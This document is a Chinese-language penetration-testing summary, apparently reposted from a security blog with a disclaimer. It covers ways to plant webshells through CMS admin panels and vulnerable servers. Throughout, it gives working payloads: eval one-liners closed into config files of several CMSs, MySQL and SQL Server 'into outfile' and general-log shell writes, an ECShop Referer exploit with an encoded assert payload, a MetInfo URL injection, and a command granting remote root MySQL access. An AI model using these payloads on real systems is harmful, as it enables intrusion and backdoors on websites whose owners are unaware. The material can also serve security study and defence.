getshell學習總結
一、方法分類
1.帶有漏洞的應用
redis 、tomcat、解析漏洞、編輯器、FTP
2.常規漏洞
sql注入、上傳、文件包含、命令執行、Struts2、代碼反序列化
3.后臺拿shell
上傳、數據庫備份、配置插馬
關于各種帶有漏洞的應用以及OWASP Top10常規漏洞需要不斷的積累,打造自己的核心知識庫,道路且長。本文僅記錄最近對常見cms后臺getshell的學習總結
二、網站常見getshell方法
1.數據庫備份拿shell
如果網站后臺具有數據庫備份功能,可以將webshell格式先修改為允許上傳的文件格式如jpg,gif等。然后找到上傳后的文件路徑,通過數據庫備份,將文件備份為腳本格式。
2.上傳
上傳是拿shell最常見的方式,不區分web前后臺,有上傳的地方均需嘗試上傳。常見的上傳繞過方法:
- 本地js驗證上傳
- 服務器mime繞過
- 服務器文件頭繞過
- 服務器 filepath上傳
- 雙文件上傳
- %00截斷上傳
- 上傳其他腳本類型
3.修改允許上傳類型
進入網站后臺后找到上傳點發現對上傳有白名單限制,正好又可以添加白名單,可以將腳本格式寫入白名單然后進行上傳。如果容器允許的情況下,嘗試上傳與網站源碼不同類型的腳本格式拿shell
4.服務器解析漏洞
IIS 5.x/6.0解析漏洞
目錄解析:x.asp/1.jpg
分號解析:x.asp;.jpg會被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
畸形文件名解析:test.jpg/*.php
Nginx
畸形解析漏洞 :test.jpg/*.php(Nginx版本無關,只與配置環境有關)
<8.03空字節代碼執行漏洞 :test.jpg%2500.php
Apache解析漏洞
Apache解析文件時是按照從右向左的方式,test.php.aaa.sss,Apache無法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析為php文件
5.編輯器
低版本的ewebeditor、fckeditor編輯器均有漏洞可以利用。或繞過上傳或結合解析漏洞
6. 網站配置插馬
在網站后臺的一些配置接口中最終的配置結果會寫進網站配置文件,這里通過源碼的過濾規則進行閉合語句可以直接將shell寫進配置文件從而getshell。注意:網站后臺配置插馬屬于高危操作,如果閉合失敗網站將全面崩潰,不建議生產環境下操作。
例:良精后臺配置插馬
#配置文件路徑:../inc/config.asp
#插馬語句:"%><%eval request("123")%><%'

http://192.168.1.10:8009//inc/config.asp

7.上傳插件
將shell添加到安裝的插件中上傳服務器拿shell。典型如wordpress
8.數據庫執行
通過數據庫執行命令導出一句話到網站目錄拿shell。此方法需要有數據庫寫入權限,且知道網站目錄
sqlserver 導出
SQL server 2005之后就不能導了,因為sp_makewebtask存儲過程被取消了
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut
mysql導出
版本一
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;
版本二
use mysql;create table x(packet text) type=MYISaM;insert into x (packet) values('
')select x into outfile 'd:\php\xx.php'
版本三
select '' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
9.文件包含
可繞過waf拿webshell。借助文件包含躲避waf攔截。一般用來上大馬用
asp 包含代碼
#調用的文件必須和被調用文件在同一目錄,如果不在同一目錄,用下面的語句:
php包含
include('123.jpg');
?>
10. 命令執行
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php
^<^%eval request("cracer")%^>^ > c:\1.php
# 需要知道網站路徑
三、常見cms后臺拿shell
1.dedecms
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默認后臺:http://192.168.1.10:8030/dede/
# dedecms后臺一般都被修改不好找,可借助google語法: Powered byDedeCMSV57_GBK_SP2 site:xx.com
一、后臺文件上傳
進入后臺:核心》附件管理》文件式管理器》可直接修改源碼或者上傳shell
寫馬

連接
如果目標“文件式管理器”接口被閹割,也許只是單純的在前端刪除了入口。可以修改js調用:
media_main.php?dopost=filemanager #找到任意按鈕修改js代碼如圖,即可再次調用文件管理

如果權限被限制無法上傳到upload以外的目錄。通過修改名稱跨越目錄,繞過權限封鎖

二、數據庫執行拿shell
sql命令行工具》寫shell
#需要得到網站的物理路徑select "" into outfile 'C:\\inetpub\\getshell\\DedecmsV53-UTF8-Final\\DedecmsV53-UTF8-Final\\x.php'#dede暴路徑方法payload:http://xxx.com/plus/feedback.php?aid=1&dsql=xxx
寫shell

連接
2.南方數據、良精、動易
一、數據庫備份(備份圖片馬、備份數據庫)
系統管理》數據庫備份頁面經常被刪除,需要修改js重新調用數據庫備份頁面
manage_backup.asp


1.上傳圖片馬
產品管理》添加產品》上傳圖片馬

2.審查元素,找到圖片馬路徑
如:http://192.168.1.10:8009/UploadFiles/1.jpg
3.開始備份

注意點:
1.如果附加了asa無法訪問,嘗試刪除asa訪問。解析即可。
2.如果出現文件頭為database、jet db。表示實際備份的還是數據庫,我們提交的圖片馬并沒有備份到。這里嘗試添加管理員將shell寫進數據庫。然后再備份即可。這如果長度有限制,可以在審查元素修改maxlength或者抓包
3.如果數據庫路徑…/Databases/0791idc.mdb框無法修改。嘗試審查元素或者burp改包
4.備份目錄不用管
二、配置插馬
三、修改上傳類型突破上傳

四、雙文件突破上傳
五、修改editor/admin_style.asp
3.ecshop
1.sql語句寫shell
#報錯獲取網站物理路徑use mysql;#寫shellselect "" into outfile 'C:\\inetpub\\getshell\\8103-ECShop\\ECShop_2.7.4_UTF8_beta1\\upload\\x.php'

2.修改文件
庫項目管理》配送方式

連接:http://192.168.1.10:8103/myship.php
3.前臺getshell
http://192.168.1.10:8103/user.php》刷新抓包》發送repeater:
exp:Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

會在網站根目錄下生成1.php一句話木馬,密碼1337
3.5wordpress上傳插件
安裝插件》上傳插件》插件馬(正常插件+大馬壓縮包)》上傳成功
#插件馬位置: ./wp-content/plugins/alipay-donate/webshell.php
4.phpmyadmin寫shell
phpmyadmin 常見路徑:phpmyadmin、pma、pmd、pm、phpmyadmin+版本號。或者端口號搭建888/999/8888/777。可嘗試爆破登錄:
#寫shell語句select '' into outfile 'D:\SOFT\webbuild\php\WWW\aa.php'
尋找網站根目錄
1.找mysql安裝目錄
select @@basedir;
2.根據mysql安裝路徑推理出apache配置文件(記錄了網站根目錄)
./apache/conf/https.conf
3.使用某個數據庫,創建一個表用來讀取apache的配置文件
use mysql;create table xx(xx text);load data infile "D:\SOFT\webbuild\php\Apache/conf/https.conf" into table xx;select * from xx;# 在搜索結果里面檢索關鍵詞documentroot找到網站根目錄
如果有waf會攔截不讓導shell
1.找免殺馬
2.開啟外聯
#開外鏈。將mysql root放在所有地址上并設置密碼Grant all privileges on *.* to 'root'@'%' identified by '123.com' with grant option;#公網地址鏈接目標mysql服務器mysql.exe -h 200.1.1.1 -uroot -p
3.通過遠程地址鏈接mysql服務器導入一句話
如果導出函數into outfile 被禁用
1.生成日志getshell
genaeral log設置為on,備份genaeral log file路徑后修改為我們要導的shell路徑。然后執行帶有一句話的sql語句寫入日志文件,成功getshell。完成后記得還原genaeral log file路徑

備份路徑:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
執行:select “”

寫入成功:http://localhost/xxx.php

#命令行操作:set global general_log=on;set global general_log_file='shell路徑';#還原set global general_log=off;set global general_log_file='D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log';
5.kesion cms
科迅cms需要使用ie低版本瀏覽器
一、添加上傳類型


這里會回顯文件名不合法。但是實際上已經上傳成功(新版本失敗)
6.aspcms
1.插件管理,界面風格修改asp文件
2.擴展功能,數據庫備份
3.配置插馬
幻燈片設置
#插馬路徑 ./config/aspcms_config.asp #語句 %><%Eval(Request(chr(112)))%><%

7.SD cms
1.上傳設置,添加腳本類型(大小寫替換)
2.界面,模板管理,點擊sdcms_index.asp,插入一句話到首頁
8.phpcms
1.界面,模板風格,詳情列表,修改腳本格式文件
2.phpsso(沒有這個界面的話調用js),系統設置,ucenter設置,插馬
#插馬位置 ./phpsso_server/caches/configs/uc_config.php #先閉合表單 name="data[uc_api','11');/*] # 再插入代碼 */@eval($_REQUEST[TEST]);//

連接:
3.內容,專題,添加專題
#在根目錄下生成0.php,密碼cmd
添加專題1

添加專題2

擴展設置,專題模板。value值設置為:
../../../../html/special/test000/index
提交,提交完成后會在根目錄生成0.php后門文件


9.metinfo
1.安裝插件getshell
2.安全》備份與恢復》數據庫備份》下載》打開sql文件》合適的地方輸入語句:
select "@eval($_POST[cmd]);>" into oufile 'c:/inetpub/wwwroot/8121/xx.php' ;
《重新壓縮》刪除之前備份文件》上傳修改之后的數據庫備份文件》導入:執行sql語句》生成shell
3.<6.0,直接訪問:
192.168.1.10:8095/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[cmd]);/*
在upload目錄下生成index.php的一句話:
連接:192.168.1.10/upload/index.php

10.discuz
管理后臺:admin.php
創始人管理后臺:uc_server/admin.php
管理后臺:
1.站長,uccenter設置,插馬,待復現。參考:
https://paper.seebug.org/1144/#2-ucketdz
11.帝國cms
1.系統》數據表與系統模型》管理數據表》管理系統模型》導入系統模型》上傳1.php.mod》會在當前目錄下生成一句話co.php:
連接:http://192.168.1.10:8111/e/admin/co.php

2.帝國備份王getshell
12.phpmywind
1.網站信息設置》附件設置,添加允許上傳類型getshell
2.網站信息設置》增加新變量

》提交》基本設置:1;@eval($_POST[a])
》提交>連接:http://192.168.1.10:8112/admin/default.php
新版本過濾分號無法連接:慎重插馬

13.phpweb
1.前臺直接上傳
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后臺編輯器
產品》修改》


連接:
http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php
文章來源:安全鴨
黑白之道發布、轉載的文章中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用于非法用途及盈利等目的,否則后果自行承擔!